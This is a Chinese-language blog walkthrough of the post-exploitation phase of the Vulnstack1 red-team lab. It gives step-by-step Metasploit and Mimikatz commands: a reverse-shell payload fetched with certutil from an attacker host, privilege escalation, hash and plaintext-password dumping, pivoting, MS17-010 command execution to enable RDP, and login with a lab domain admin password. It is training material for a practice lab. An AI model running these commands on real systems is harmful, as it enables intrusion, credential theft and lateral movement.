前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Vulnstack1 - 内网部分

Vulnstack1 - 内网部分

作者头像
Naraku
发布2021-07-29 11:01:21
7320
发布2021-07-29 11:01:21
举报
文章被收录于专栏:Naraku的专栏Naraku的专栏

漏洞环境为ATT&CK实战系列——红队实战(一),主要记录拿到Shell后再反弹MSF Shell、Mimikatz抓取密码以及登录域控等内网部分。前面漏洞环境搭建及打点等不作记录,可查看参考文章。

环境

  • Kali:192.168.8.128,攻击机
  • Win7:
代码语言:txt
复制
- Web服务器,`192.168.8.129`
- 域用户`stu1.god.org`,`192.168.52.143`Win2003:域控制器

反弹Shell

  • 攻击机制作木马文件,实际环境中需做免杀
代码语言:javascript
复制
$ msfvenom -p windows/meterpreter_reverse_tcp lhost=<攻击机IP> lport=<攻击机监听端口> -f exe -o win.exe
  • 攻击机利用Python开启HTTP服务
代码语言:javascript
复制
$ python -m SimpleHTTPServer 8080
  • 靶机CMD下载木马文件
代码语言:javascript
复制
$ certutil.exe -urlcache -split -f http://<攻击者IP>:8080/win.exe
  • 攻击机监听端口
代码语言:javascript
复制
$ msfconsole
msf5> use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
msf5 exploit(multi/handler) > set lhost <攻击者IP>
msf5 exploit(multi/handler) > set lport <攻击机监听端口>
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on <攻击者IP>:<攻击机监听端口>
  • 最后在靶机处运行木马
代码语言:javascript
复制
$ win.exe
  • 此时攻击机即可接收到Shell
  • 提权
代码语言:javascript
复制
$ getsystem
  • 抓取Hash
代码语言:javascript
复制
meterpreter > run post/windows/gather/smart_hashdump
  • 获取Hash不全,下面使用Mimitakz再次抓取

MSF-Mimikatz

MSF中自带mimikatz模块(需要Administrator权限或者System权限),且同时支持32位和64位的系统。但是该模块默认是加载32位的系统,若目标主机是64位,直接默认加载该模块会导致很多功能无法使用。

进程迁移

64位系统需要将Meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文。并且需要迁移到权限为NT AUTHORITY\SYSTEM的进程,因为进程迁移后meterpreter的权限是迁移进程的权限。

  • 查看靶机位数&进程
代码语言:javascript
复制
meterpreter > sysinfo        # 查看位数
meterpreter > ps             # 查看进程
  • 迁移&加载模块
代码语言:javascript
复制
meterpreter > migrate <PID>  # 进程迁移
meterpreter > load mimikatz  # 加载Mimikatz模块

抓取Hash

代码语言:javascript
复制
meterpreter > mimikatz_command -f samdump::hashes

抓取明文密码

  • 利用sekurlsa模块下的searchPasswords功能抓取明文密码
代码语言:javascript
复制
meterpreter > mimikatz_command -f sekurlsa::searchPasswords

Mimikatz.exe

  • 也可以直接往靶机上传Mimikatz.exe
代码语言:javascript
复制
meterpreter > upload /<path>/mimikatz.exe
  • 然后查看明文密码
代码语言:javascript
复制
meterpreter > shell
$ mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonPasswords

横向渗透

  • 定位域控
代码语言:javascript
复制
meterpreter > shell
$ net time /domain
  • 配置路由
代码语言:javascript
复制
meterpreter > run autoroute -s 192.168.52.0/24
  • 使用NetBIOS协议扫描域网段
代码语言:txt
复制
- 扫描到OWA的IP地址为`192.168.52.138`
- 其实完整靶场应该还有一台域用户Win2003,这里没开
代码语言:javascript
复制
meterpreter > background    # 后台挂起Session

msf5 exploit(multi/handler) > use auxiliary/scanner/netbios/nbname 
msf5 auxiliary(scanner/netbios/nbname) > set rhosts 192.168.52.0/24
msf5 auxiliary(scanner/netbios/nbname) > run

MS17-010

  • 扫一下MS17-010
代码语言:javascript
复制
meterpreter > background    # 后台挂起Session

msf5 auxiliary(scanner/netbios/nbname) > use auxiliary/scanner/smb/smb_ms17_010 
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.52.138
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
  • 可能存在MS17-010,使用ms17_010_command模块尝试执行系统命令
代码语言:javascript
复制
msf5 auxiliary(scanner/smb/smb_ms17_010) > use auxiliary/admin/smb/ms17_010_command
msf5 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.138
msf5 auxiliary(admin/smb/ms17_010_command) > set command whoami
msf5 auxiliary(admin/smb/ms17_010_command) > run
  • 确定存在该漏洞,继续使用ms17_010_command模块开3389端口
代码语言:javascript
复制
msf5 auxiliary(admin/smb/ms17_010_command) > set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
msf5 auxiliary(admin/smb/ms17_010_command) > run

远程桌面

  • 使用auxiliary/server/socks4a模块进行代理
代码语言:javascript
复制
msf5 auxiliary(admin/smb/ms17_010_command) >  use auxiliary/server/socks4a 
msf5 auxiliary(server/socks4a) > set srvhost <攻击机IP>
msf5 auxiliary(server/socks4a) > run
  • 然后利用终端代理工具Proxychains-Ng进行远程登录,(Proxychains-Ng配置可参考这篇文章),这里还需要修改proxychains.conf配置文件
代码语言:javascript
复制
$ vim /etc/proxychains.conf 

socks4  <攻击机IP> 1080
  • 使用rdesktop命令打开远程桌面,使用前面获取到的域管账号进行登录
代码语言:txt
复制
- `God\Administratos`
- `hongrisec@2019.`
代码语言:javascript
复制
$ proxychains rdesktop 192.168.52.138

参考

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020 年 11 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 环境
  • 反弹Shell
  • MSF-Mimikatz
    • 进程迁移
      • 抓取Hash
        • 抓取明文密码
        • Mimikatz.exe
        • 横向渗透
          • MS17-010
            • 远程桌面
            • 参考
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档